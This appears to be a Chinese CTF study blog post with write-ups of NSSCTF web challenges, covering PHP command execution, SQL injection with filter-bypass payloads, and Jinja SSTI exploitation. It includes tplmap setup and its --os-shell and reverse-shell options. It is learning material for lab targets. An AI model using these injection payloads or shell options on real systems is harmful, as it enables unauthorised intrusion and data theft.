刷题学习记录

2023-12-14 17:44:24

[LitCTF 2023]PHP是世界上最好的语言!!

知识点:rce+PHP

进入环境是一个转化框和运行框

?既然是rce还有运行框就只用输入命令等待回显就行

参考:RCE(命令执行)总结-CSDN博客

?paylaod:

system(‘ls’);
system(‘pwd’);
system(‘find / -name flag*’);
system(‘cat /flag’);

得到flag

笔记

RCE总结:RCE总结-CSDN博客

rce

常用代码执行函数

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()

常用命令执行函数

system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()

参考:RCE-命令执行总结_rce命令执行-CSDN博客

?[SWPUCTF 2022 新生赛]numgame

知识点:PHP+代码审计+查看源代码方式+数组引索

进入环境,有一个等式但是一直到不了20

?用F12和Ctrl+U也不能查看到源代码,没有反应

那么就用view-source:http://node5.anna.nssctf.cn:28805/

发现

./js/1.js

点击访问,得到

?解码花括号里的内容得到

?接着访问改文件名NsScTf.php,得到真正的源码

?接着尝试访问hint2.php

代码审计:

  1. 通过?include("flag.php")?引入了一个名为 “flag.php” 的文件。这个文件很有可能包含了标志信息。
  2. 通过?class nss?定义了一个名为 “nss” 的类,其中具有一个静态方法 “ctf”,这个方法通过?include("./hint2.php")?引入了另一个名为 “hint2.php” 的文件。这个类的作用目前不明确,但可以猜测 “ctf” 方法可能会与 “hint2.php” 文件相关。
  3. 通过?isset($_GET['p'])?判断是否接收到了名为 “p” 的 GET 参数。如果存在 “p” 参数,则会根据参数值调用相应的函数。
  4. 在调用函数之前,通过?preg_match()?函数检查参数值中是否包含字符 “n” 或 “c”。如果包含了这些字符,则会输出 “no” 并停止程序执行。
  5. 最后,如果未接收到 “p” 参数,则会输出当前文件的源代码。
  6. 源码提示:与get相似的另一种请求协议是什么呢,既然用跟get相似的协议所以这里就运用post。

?补充:

数组引索

数组索引是用于标识和访问数组元素的唯一标识符。它们通常是整数值,用于标识元素在数组中的位置。

在大多数编程语言中,数组的索引从 0 开始,依次递增。例如,对于一个长度为 n 的数组,索引范围通常是从 0 到 n-1,共有 n 个元素可以访问。

下面是一个示例数组及其索引示意图:

数组:[12, 34, 56, 78, 90]
索引: 0 1 2 3 4

在示例中,数组包含五个元素,使用索引可以访问和操作这些元素。例如,要访问数组中的第二个元素(34),我们使用索引 1(因为索引是从 0 开始计数)。同样,要访问数组中的第四个元素(78),我们使用索引 3。

?payload:

p[0]=nss&p[1]=ctf

?改成nss2

payload:

p[0]=nss2&p[1]=ctf

?但是没有出现flag,最后看了源码,flag是藏在源码中

[SWPUCTF 2022 新生赛]ez_sql

知识点:sql注入

进入环境,提示用post传参

尝试一下get,不能用那么就用post

?简单传一个1,没想到是flag,但是是假的

?开始进行sql注入,查库查表查字段爆数据

但是

发现or和空格都无回显,union也没有

空格可以用/**/来代替,union可以双写绕过

?开始注入

nss=2'/**/ununionion/**/select/**/1,2,3;#

?查库:

nss=2'/**/ununionion/**/select/**/1,database(),3;#

查表:

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#

查字段:

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#

?查数据:

nss=2'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;#  

得到flag

NSSCTF{636b87ae-6445-4824-8598-7c264e9a6728}

[HNCTF 2022 WEEK2]ez_SSTI

知识点:SSTI

进入环境

检测ssti注入,很多ssti的参数都是name

?name={{7*7}}

?

?没有过滤

找flag

payload:

?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

拿flag

?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

?但是这题用fenjing却跑不出来

虽然fenjing不能用,但是tplmap可以用,要先安装好tplmap

直接连接注入,成功后查看文件,再打开flag

python2 ./tplmap.py -u 'http://node5.anna.nssctf.cn:28389/?name=/' --os-shell

?

得到flag

NSSCTF{61f84712-a0c6-4335-b9a2-476bc0e629d6}

笔记

tplmap的安装

kali 下安装tplmap

1. 安装kali下的python2的pip工具

kali2020版及以上, 输入python2命令会执行python2, python3也存在。

但pip默认是pip3, 而我们需要的是pip2, 所以我们需要先安装pip2

# 进入家目录
cd 

#建立目录ins-pip2
mkdir ins-pip2

#下载pip2安装脚本
wget  https://bootstrap.pypa.io/pip/2.6/get-pip.py

#python2执行 需要sudo权限
sudo python2 get-pip.py

#升级pip2
sudo pip2 install --upgrade pip 

#安装pip2扩展工具,不然后面安装还是报错
sudo pip2 install --upgrade setuptools 

## 2 tplmap的安装和使用

tpl是用python2编写的,报错一般是使用py3

以下操作均在kali 2020的环境下操作

2.1 使用git克隆tplmap

git clone https://github.com/epinna/tplmap

cd tplmap

sudo pip2 install -r requirements.txt

2.2 操作实例

#探测注入点
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag'


#获取shell
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag' --os-shell

2.3 详细命令


--os-shell                          Run shell on the target
--os-cmd                            Execute shell commands
--bind-shell PORT                   Connect to a shell bind to a target port
--reverse-shell HOST PORT   Send a shell back to the attacker's port
--upload LOCAL REMOTE       Upload files to the server
--download REMOTE LOCAL     Download remote files

?使用

python2 ./tplmap.py -u 'http://node5.anna.nssctf.cn:28389/?name=/' --os-shell
//name是参数,具体题目中指定的传入参数
//--os-shell 是命令,具体看各个命令的用法

常见问题

在安装好工具使用的时候,常常会出现

[!][tplmap] Exiting: 'bool' object has no attribute 'replace'

解决办法:删除tplmap/core/checks.py文件中Twig条目,保存退出。

Twig就在此列表中:
plugins = [
??? Smarty,
??? Mako,
??? Python,
??? Tornado,
??? Jinja2,
??? Freemarker,
??? Velocity,
??? Slim,
??? Erb,
??? Pug,
??? Nunjucks,
??? Dot,
??? Dust,
??? Marko,
??? Javascript,
??? Php,
??? Ruby,
??? Ejs
]

?注意打开更改文件内容的时候要以root的身份打开,不然权限不够不可以成功更改,将Twig删除后就可以成功运行tplmqp

如果出现

[!][checks] Tested parameters appear to be not injectable.

[!][checks] Tested parameters appear to be not injectable.

就使用其他命令注入,但是参数后面的"="一定不能少,少了"="依旧会报错。

[GDOUCTF 2023]<ez_ze>

知识点:SSTI

进入环境

?先用tplmap跑一遍,但是不知道参数是什么,先用name跑

python2 ./tplmap.py -u 'http://node5.anna.nssctf.cn:28944/?name=' --os-shell

结果该参数无法注入

?尝试用fenjing跑一遍

python -m fenjing scan --url http://node5.anna.nssctf.cn:28944/

这次跑成功了

?ls /

查看文件

?cat /flag

查看flag

?得到flag

NSSCTF{159a9656-a3f2-4ed2-97e3-276a8d4ead88}

fenjing与tplmap的区别

焚靖(fenjing)是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口。?

tplmap 工具支持检测和利用多种模板引擎的注入漏洞,包括但不限于以下常见模板引擎:

  1. Jinja2:Jinja2 是一个流行的Python模板引擎,常用于构建Web应用程序。tplmap 可以检测和利用 Jinja2 模板注入漏洞。

  2. Django:Django 是一个使用 Python 编写的高级 Web 框架,tplmap 可以检测和利用 Django 模板注入漏洞。

  3. Mako:Mako 是一个用于 Python 的模板引擎,常用于构建动态内容。tplmap 可以检测和利用 Mako 模板注入漏洞。

  4. Tornado:Tornado 是一个可扩展的 Python Web 框架,tplmap 可以检测和利用 Tornado 模板注入漏洞。

  5. Freemarker:Freemarker 是一个使用 Java 编写的模板引擎,tplmap 可以检测和利用 Freemarker 模板注入漏洞。

  6. Velocity:Velocity 是一个用于 Java 的模板引擎框架,tplmap 可以检测和利用 Velocity 模板注入漏洞。

  7. Smarty:Smarty 是一个用于 PHP 的模板引擎,tplmap 可以检测和利用 Smarty 模板注入漏洞。

  8. AngularJS:AngularJS 是一个流行的 JavaScript 框架,tplmap 可以通过利用 AngularJS 的模板注入漏洞来执行任意代码。

  9. Handlebars:Handlebars 是一个 JavaScript 的语义化模板引擎,tplmap 可以检测和利用 Handlebars 模板注入漏洞。

  10. ERB:ERB(Embedded RuBy)是一个用于 Ruby 的嵌入式模板引擎,tplmap 可以检测和利用 ERB 模板注入漏洞。

  11. ASP.NET Razor:ASP.NET Razor 是一个用于 ASP.NET 的页面模板引擎,tplmap 可以检测和利用 ASP.NET Razor 模板注入漏洞。

?

文章来源:https://blog.csdn.net/qq_73861475/article/details/134937037
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。